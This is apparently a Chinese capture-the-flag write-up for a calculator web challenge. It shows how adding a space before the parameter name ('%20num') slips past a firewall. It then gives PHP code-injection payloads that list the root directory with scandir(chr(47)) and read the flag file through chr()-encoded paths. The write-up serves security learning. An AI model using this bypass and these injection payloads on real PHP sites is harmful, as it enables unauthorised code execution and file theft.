查看一下源码
发现计算的时候请求了一个calc.php
发现过滤了一些特殊字符
直接传num=phpinfo() ,发现请求失败,应该是被防火墙过滤掉
利用php的解析特性,绕过防火墙检测。因为php解析GET POST请求的时候会自动过滤掉空格,而防火墙不会。如:
num=phpinfo()
%20num=phpinfo()
在php解析的时候就是一个东西,防火墙则会当成两个变量
成功绕过,利用scandir("/")读出目录,不过由于“/”被过滤掉了我们chr(47)代替,于是有
%20num=var_dump(scandir(chr(47)))
发现有个flagg文件,构造payload读取文件
payload
%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))